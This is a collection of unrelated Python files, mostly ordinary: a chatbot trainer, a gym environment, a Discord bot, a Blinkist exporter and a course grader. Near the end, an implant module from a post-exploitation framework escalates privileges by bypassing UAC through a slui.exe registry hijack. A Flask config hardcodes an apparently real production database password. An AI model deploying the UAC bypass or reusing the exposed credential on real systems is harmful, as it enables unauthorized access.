gradients = tape.gradient(loss, transformer.trainable_variables)
optimizer.apply_gradients(zip(gradients, transformer.trainable_variables))
train_loss(loss)
def str_to_tokens(sentence: str):
words = sentence.lower().split()
tokens_list = list()
for current_word in words:
result = tokenizer.word_index.get(current_word, '')
if result != '':
tokens_list.append(result)
return tokens_list
def evaluate(inp_sentence):
inp_sentence = str_to_tokens(inp_sentence)
encoder_input = tf.expand_dims(inp_sentence, 0)
decoder_input = [tokenizer.word_index['sos']]
output = tf.expand_dims(decoder_input, 0)
for _ in range(MAX_LENGTH):
enc_padding_mask, combined_mask, dec_padding_mask = create_masks(
encoder_input, output)
predictions, attention_weights = transformer(encoder_input,
output,
False,
enc_padding_mask,
combined_mask,
dec_padding_mask)
predictions = predictions[:, -1:, :]
predicted_id = tf.cast(tf.argmax(predictions, axis=-1), tf.int32)
if predicted_id == tokenizer.word_index['eos']:
return tf.squeeze(output, axis=0), attention_weights
output = tf.concat([output, predicted_id], axis=-1)
return tf.squeeze(output, axis=0), attention_weights
def translate(sentence):
result, attention_weights = evaluate(sentence)
predicted_sentence = ''
for i in result:
for word, index in tokenizer.word_index.items():
if i == index and word != 'sos':
predicted_sentence += ' {}'.format(word)
print('Input phrase: {}'.format(sentence))
print('Output phrase: {}\n'.format(predicted_sentence))
# ================================ TRAINING LOOP
for epoch in range(EPOCHS):
start = time.time()
train_loss.reset_states()
generator = batch_generator(batch_size=BATCH_SIZE)
while True:
try:
inp, tar = next(generator)
train_step(inp, tar)
except StopIteration:
break
print('Epoch {} Loss {:.4f} '.format(epoch + 1, train_loss.result()))
print('Time taken for 1 epoch: {} secs\n'.format(time.time() - start))
# ================================= TESTING MODEL
# Input phrase: have fun tonight
# Output phrase: tons
#
# Input phrase: did you change your hair
# Output phrase: no
#
# Input phrase: do you have a family
# Output phrase: the handling it sir
#
# Input phrase: what do you want
# Output phrase: i just got a call two seconds ago some motherfucker called says he knows about the loop
#
# Input phrase: that is a shame
# Output phrase: not yet but i am hoping
#
# Input phrase: are you gentleman
# Output phrase: hey are you proposing
#
# Input phrase: what good stuff
# Output phrase: oh yeah well you know
#
# Input phrase: who are you
# Output phrase: i brought the girl remember
#
# Input phrase: Dallas. Korben Dallas
# Output phrase: yes that is fine thank you very much a thousand times over
# generator = batch_generator(batch_size=1)
# inp, tar = next(generator)
# train_step(inp, tar)
# transformer.summary()
# transformer.load_weights("./weights.h5")
translate('have fun tonight')
translate('did you change your hair')
translate('do you have a family')
translate('what do you want')
translate('that is a shame')
translate('are you gentleman')
translate('what good stuff')
translate('who are you')
translate('Dallas. Korben Dallas')
| python |
'''
Provides XOX class which is a subclass of gym.Env.
Start using it via
```
x = XOX()
state, reward, done = x.step(2)
```
Locations are:
|0|1|2|
|3|4|5|
|6|7|8|
Opponent step is taken by uniform random, let's assume
it took action 0, board becomes:
|o| |x|
| | | |
| | | |
The state is the flattened version of the board.
|o| |x| | | | | | | | |
Numerically,
|2|0|1|0|0|0|0|0|0|0|0|
Where, 1 is your actions and 2 is your opponent's actions.
'''
import gym
from gym import spaces
from gym.utils import seeding
import numpy as np
class XOX(gym.Env):
'''Some description here'''
def __init__(self, environment_policy=None):
self.state: np.ndarray = np.array([0] * 9)
self.action_space = spaces.Discrete(9)
self.observation_space = spaces.MultiDiscrete([3] * 9)
self.seed()
self.environment_policy = environment_policy
def seed(self, seed=None):
self.np_random, seed = seeding.np_random(seed)
return [seed]
def reset(self):
self.state: np.ndarray = np.array([0] * 9)
def step(self, action):
err_msg = f'{action} ({action}) invalid'
assert self.action_space.contains(action), err_msg
assert self.state[action] == 0, 'square was already full'
# player makes a move
self.state[action] = 1
state = self.state.reshape(3, 3)
mask = (state == 1)
out = mask.all(0).any() or mask.all(1).any() or np.diag(mask).all()
out = out or mask[((0, 1, 2), (2, 1, 0))].all()
if out:
return self.state, 1, True, {}
# opponent makes the next move
free_places = np.where(self.state == 0)[0]
if len(free_places) == 0:
return self.state, 0.5, True, {}
if self.environment_policy is None:
opponent_move = free_places[self.np_random.randint(len(free_places))]
self.state[opponent_move] = 2
else:
env_action = self.environment_policy(self.state)
assert self.action_space.contains(env_action), err_msg
assert self.state[env_action] == 0, 'square was already full'
self.state[env_action] = 2
state = self.state.reshape(3, 3)
mask = (state == 2)
out = mask.all(0).any() or mask.all(1).any() or np.diag(mask).all()
out = out or mask[((0, 1, 2), (2, 1, 0))].all()
if out:
return self.state, -1, True, {}
if len(free_places) == 1:
return self.state, 0.5, True, {}
return self.state, 0, False, {}
| python |
#!/usr/bin/env python
class Solution:
def subsets(self, nums):
"""
:type nums: List[int]
:rtype: List[List[int]]
"""
if len(nums) == 0:
return []
elif len(nums) == 1:
return [[], nums]
elif len(nums) == 2:
return [[], [nums[0]], [nums[1]], nums]
else:
ret = self.subsets(nums[1:])
ret1 = []
for r in ret:
ret1.append(nums[:1] + r)
return ret + ret1
numsList = [
[1,2,3,4],
[1,2,3],
[1,2],
[1],
[]
]
sol = Solution()
for nums in numsList:
print(sol.subsets(nums))
| python |
import os
basedir = os.path.abspath(os.path.dirname(__file__))
# from instance.config import RANDOM_QUOTES_URL
class Config ():
SECRET_KEY = os.environ.get('SECRET_KEY') or 'you-will-never-guess'
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL', '').replace(
'postgres://', 'postgresql://') or\
'sqlite:///' + os.path.join(basedir, 'app.db')
SQLALCHEMY_TRACK_MODIFICATIONS = False
LOG_TO_STDOUT = os.environ.get('LOG_TO_STDOUT')
class ProdConfig(Config):
SQLALCHEMY_DATABASE_URI = 'postgresql+pysopg2://bwdjvsasrlaeen:18d1081283ae243f3f0cb43119c2906ffb29f01255dc6d19bfb89f414c70af73@ec2-44-194-167-63.compute-1.amazonaws.com:5432/ddq6aoibtd4ceh'
class DevConfig(Config):
SQLALCHEMY_DATABASE_URI = 'postgresql+pysopg2://juliet:juliet@localhost/quote'
DEBUG = True
config_options = {
'development':DevConfig,
'production': ProdConfig
}
| python |
# -*- coding: utf-8 -*-
__all__ = [
'UserGroupService', 'PermissionService', 'UserGroupMemberService',
'UserGroupPermissionService', 'VerificationService',
'SuperAdminService',
]
from . import user_group as UserGroupService
from . import permission as PermissionService
from . import user_group_member as UserGroupMemberService
from . import user_permission as UserPermissionService
from . import user_group_permission as UserGroupPermissionService
from . import verification as VerificationService
from . import super_admin as SuperAdminService
| python |
def make_rxnorm_wordlists():
import pandas as pd
import os
import os.path
dataloc = '../../../data/'
filz = os.listdir(dataloc)
normfilz = [xx for xx in filz if xx.startswith('RxNorm_full')]
normfilz.sort()
most_current = normfilz[-1]
rxfile = os.path.join(dataloc,most_current,'rrf','RXNATOMARCHIVE.RRF')
rxf = pd.read_table(rxfile, delimiter='|', header=-1,low_memory=False)
drugnames = ' '.join(rxf[2])
letters_only = "".join([ dd if dd.isalnum() else " " for dd in drugnames ])
words = list(set([xx.lower() for xx in letters_only.split() if len(xx)>3 and xx.isalpha() ]))
words.sort()
phrases = list(set(rxf[2]))
word_out_file = '../../../data/wordlists/rxnorm_words.txt'
phrase_out_file = '../../../data/wordlists/rxnorm_phrases.txt'
with open(word_out_file,'w') as wf:
wf.write('\n'.join(words))
with open(phrase_out_file,'w') as pf:
pf.write('\n'.join(phrases))
if __name__ == "__main__":
make_rxnorm_wordlists()
| python |
__all__ = ["data", "functions"] | python |
import copy
delta = [[-1, 0 ], # go up
[ 0, -1], # go left
[ 1, 0 ], # go down
[ 0, 1 ]] # go right
delta_name = ['^', '<', 'v', '>']
def adjacent_cells(grid,row,col):
yMax = len(grid)-1
xMax = len(grid[0])-1
ret = []
if row-1 >= 0 and grid[row-1][col] != 1:
ret.append((row-1,col))
if row+1 <= yMax and grid[row+1][col] != 1:
ret.append((row+1,col))
if col-1 >= 0 and grid[row][col-1] != 1:
ret.append((row,col-1))
if col+1 <= xMax and grid[row][col+1] != 1:
ret.append((row,col+1))
return ret
def compute_value(grid,init):
yMax = len(grid)-1
xMax = len(grid[0])-1
indices = [ (row,col) for row in range(yMax+1) for col in range(xMax+1) ]
G = { index : {'d':-1} for index in indices }
first_cell = (init[0],init[1])
G[first_cell]['d'] = 0
to_check = { first_cell : G[first_cell] }
current_cell = first_cell
while len(to_check) > 0:
G[current_cell] = to_check.pop(current_cell)
for cell in adjacent_cells(grid,*current_cell):
if G[cell]['d'] != -1: # means cell has already been checked
continue
if cell in to_check: # don't add the cell again
continue
to_check[cell] = G[cell]
G[cell]['d'] = G[current_cell]['d'] + 1
if len(to_check) > 0:
current_cell = min( to_check.keys(), key=lambda k: to_check[k]['d'] )
return [ [ G[(row,col)]['d'] for col in range(xMax+1) ] for row in range (yMax+1) ]
def is_valid_answer(grid,init,user_answer):
# check for correct length
if len(grid) != len(user_answer):
return False
for i in range(len(grid)):
if len(grid[i]) != len(user_answer[i]):
return False
height = len(grid)
width = len(grid[0])
# unreachable cells have value -1
value_grid = compute_value(grid,init)
# check that unreachable cells are marked with -1
reachable_cells = 0
for i in range(height):
for j in range(width):
if value_grid[i][j] == -1 and user_answer[i][j] != -1:
return False
elif value_grid[i][j] >= 0:
reachable_cells += 1
# check that every number from 0 to reachable_cells-1 is in user_answer
present = [0]*reachable_cells
for i in range(height):
for j in range(width):
if user_answer[i][j] < 0:
continue
else:
present[user_answer[i][j]] = 1
if sum(present) != reachable_cells:
return False
# check that the numbers occur in a legal pattern
# (the expansion number of a cell should be at least the number of steps
# away from init it takes to get to the cell)
for i in range(height):
for j in range(width):
if user_answer[i][j] < 0:
continue
elif user_answer[i][j] < value_grid[i][j]:
return False
return True
def tests(student_func):
try:
search = student_func
except:
return 2 #You didn't define a function called search
try:
grid = [[0, 1],
[0, 0]]
init = [0,0]
goal = [len(grid)-1,len(grid[0])-1]
cost = 1
user_answer = search(grid,init,goal,cost)
if not user_answer:
return 3 # Your function didn't return anything.
except:
return 103 # problem
try:
grid = [[0, 1, 1, 1, 1],
[0, 1, 0, 0, 0],
[0, 0, 0, 1, 0],
[1, 1, 1, 1, 0],
[0, 0, 0, 1, 0]]
init = [0,0]
goal = [len(grid)-1,len(grid[0])-1]
cost = 1
G = copy.deepcopy(grid)
user_answer = search(G,init,goal,cost)
if not is_valid_answer(grid,init,user_answer):
return 4 # Your code didn't work for example in lecture
except:
return 104
try:
grid = [[0, 1, 0, 0, 0, 1, 0],
[0, 1, 0, 1, 0, 1, 0],
[0, 1, 0, 1, 0, 1, 0],
[0, 1, 0, 1, 0, 1, 1],
[0, 0, 0, 1, 0, 0, 0]]
init = [0,0]
goal = [len(grid)-1,len(grid[0])-1]
cost = 1
G = copy.deepcopy(grid)
user_answer = search(G,init,goal,cost)
if not is_valid_answer(grid,init,user_answer):
return 5
except:
return 105
try:
grid = [[0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
[0, 0, 1, 0, 1, 0],
[0, 0, 1, 0, 1, 0],
[0, 0, 1, 0, 1, 0]]
init = [0, 0]
goal = [len(grid)-1, len(grid[0])-1]
cost = 1
G = copy.deepcopy(grid)
user_answer = search(G,init,goal,cost)
if not is_valid_answer(grid,init,user_answer):
return 6
except:
return 106
return 0
| python |
#!/usr/bin/env python3
import argparse
from typing import Optional, List, Tuple, Dict
import json
import sys
import requests
def get_library(*, cookies):
# apparently returns all at once and pagination isn't necessary??
return requests.get(
'https://www.blinkist.com/api/books/library',
cookies=cookies,
).json()['entries']
def get_highlights(*, cookies):
page = 0
items: List[Dict] = []
while True:
res = requests.get(
'https://www.blinkist.com/api/textmarkers_v2',
params={
'page' : str(page),
'order' : 'book',
},
cookies=cookies,
)
res.raise_for_status()
if res.status_code == 204:
# no more requests needed
break
rj = res.json()
items.extend(rj)
page += 1
return items
# ugh, seems that meta contains only similar books. not sure where is title coming from...
# def get_metas(*, cookie: str, ids: List[str]):
# requests.get(
# 'https://api.blinkist.com/v4/books/metas',
# headers={'Cookie': cookie},
# )
def main():
cname = '_blinkist-webapp_session'
p = argparse.ArgumentParser()
p.add_argument('--cookie', type=str, required=True, help=f'Value for {cname} cookie (see https://stackoverflow.com/a/10015468/706389)')
args = p.parse_args()
cookies = {
cname: args.cookie,
}
books = get_library(cookies=cookies)
highlights = get_highlights(cookies=cookies)
json.dump({
'books' : books,
'highlights': highlights,
}, fp=sys.stdout, indent=2)
if __name__ == '__main__':
main()
| python |
import json
import asyncio
import sqlite3
import discord
from discord.ext import commands
from discord.ext.commands.errors import *
import time
DB = 'AudreyAnnouncement.db'
# spin off of permissions that makes announcements at time given in RoBot.py
class AudreyAnnouncement(commands.Cog):
def __init__(self, client):
client.permission_authority = self
self.client = client
self.cwd = client.config['Bot']['modules_dir'] + 'AudreyAnnouncement/'
conn = sqlite3.connect(self.cwd + DB)
c = conn.cursor()
c.execute('CREATE TABLE IF NOT EXISTS announcements(server int, channel int, announcement text)')
conn.commit()
conn.close()
@commands.command(help='Clears the announcements of this server')
async def clearannounce(self, context):
mod_role = self.client.config['Bot']['mod_role']
if mod_role in [role.name.lower() for role in context.message.author.roles]:
conn = sqlite3.connect(self.cwd + DB)
server = context.message.guild
c = conn.cursor()
c.execute('DELETE FROM announcements WHERE server=?', (server,))
conn.commit()
conn.close()
await context.send(f'Announcements cleared for {server.name}.')
else:
await context.send(f'You do not have permission to do that. Ask for the role {mod_role}.')
@commands.command(help="list this server's current announcements")
async def listannounce(self, context):
conn = sqlite3.connect(self.cwd + DB)
c = conn.cursor()
results = c.execute('SELECT announcement FROM announcements WHERE server=?', (context.message.guild,)).fetchall()
announcements = [''.join(row) for row in results]
announce_string = '\n'.join(announcements)
await context.send(
f'Here are your current announcements for , {context.message.guild.name}\n```\n{announce_string}\n```')
conn.close()
@commands.command(help='Adds announcement to a server')
async def addannounce(self, context, announcement, channel: discord.channel):
mod_role = self.client.config['Bot']['mod_role']
if mod_role in [role.name.lower() for role in context.message.author.roles]:
conn = sqlite3.connect(self.cwd + DB)
c = conn.cursor()
if not channel:
channel = discord.utils.find(lambda c: "announce" in c.name or "reminder" in c.name,
context.message.guild.channels)
c.execute('INSERT INTO announcements(server, channel, announcement) VALUES (?, ?, ?)',
(context.message.guild.id, channel.id, announcement))
conn.commit()
conn.close()
await context.send(f'Will now announce \'{announcement}\' in {channel}.')
else:
await context.send(f'You do not have permission to do that. Ask for the role {mod_role}.')
def setup(client):
client.add_cog(AudreyAnnouncement(client))
| python |
def return_if_error(
errors=(
KeyError,
TypeError,
),
default_value=None,
):
def decorator(func):
def new_func(*args, **kwargs):
try:
return func(*args, **kwargs)
except errors as e:
return default_value
return new_func
return decorator
# def _decorate_class_with_decorator(decorater):
# def decorate(cls):
# for attr in cls.__dict__:
# if callable(getattr(cls, attr)):
# if not attr.startswith("_"):
# setattr(cls, attr, decorater(getattr(cls, attr)))
# return cls
# return decorate
| python |
from enum import Enum
__NAMESPACE__ = "foo"
class GlobalAddressTypeValues(Enum):
MA = "MA"
PH = "PH"
class GlobalNameTypeValues(Enum):
LG = "LG"
DB = "DB"
class GlobalSimpleStatusType(Enum):
VALUE_0 = "0"
VALUE_1 = "1"
class GlobalYesNoType(Enum):
Y = "Y"
N = "N"
| python |
class LocationPoint(Location,IDisposable):
""" Provides location functionality for all elements that have a single insertion point. """
def Dispose(self):
""" Dispose(self: APIObject,A_0: bool) """
pass
def ReleaseManagedResources(self,*args):
""" ReleaseManagedResources(self: APIObject) """
pass
def ReleaseUnmanagedResources(self,*args):
""" ReleaseUnmanagedResources(self: APIObject) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
Point=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The physical location of the element.
Get: Point(self: LocationPoint) -> XYZ
Set: Point(self: LocationPoint)=value
"""
Rotation=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The angle of rotation around the insertion point,in radians.
Get: Rotation(self: LocationPoint) -> float
"""
| python |
from django.conf.urls import patterns
from jobs.models import Slug
urlpatterns = patterns('jobs.views',
(r'^$', 'list_jobs'),
(r'^delete/$', 'delete_jobs'),
(r'^(%s)/$' % Slug.regex, 'show_results'),
(r'^(%s)/delete/$' % Slug.regex, 'delete_job'),
(r'^(%s)/rename/$' % Slug.regex, 'rename_job'),
(r'^(%s)/take/$' % Slug.regex, 'take_job'),
)
| python |
import core.job
import core.implant
import uuid
class SLUIJob(core.job.Job):
def create(self):
if self.session_id == -1:
self.error("0", "This job is not yet compatible with ONESHOT stagers.", "ONESHOT job error", "")
return False
if (int(self.session.build) < 9600 or int(self.session.build) > 17133) and self.options.get("IGNOREBUILD") == "false":
self.error("0", "The target may not be vulnerable to this implant. Set IGNOREBUILD to true to run anyway.", "Target build not vuln", "")
return False
def done(self):
self.display()
def display(self):
self.results = "Completed"
#self.shell.print_plain(self.data)
class SLUIImplant(core.implant.Implant):
NAME = "Bypass UAC slui"
DESCRIPTION = "Bypass UAC via registry hijack for slui.exe. Drops no files to disk."
AUTHORS = ["TheNaterz", "bytecode77"]
STATE = "implant/elevate/bypassuac_slui"
def load(self):
self.options.register("PAYLOAD", "", "run listeners for a list of IDs")
self.options.register("PAYLOAD_DATA", "", "the actual data", hidden=True)
def job(self):
return SLUIJob
def run(self):
id = self.options.get("PAYLOAD")
payload = self.load_payload(id)
if payload is None:
self.shell.print_error("Payload %s not found." % id)
return
self.options.set("PAYLOAD_DATA", payload)
workloads = {}
workloads["js"] = self.loader.load_script("data/implant/elevate/bypassuac_slui.js", self.options)
self.dispatch(workloads, self.job)
| python |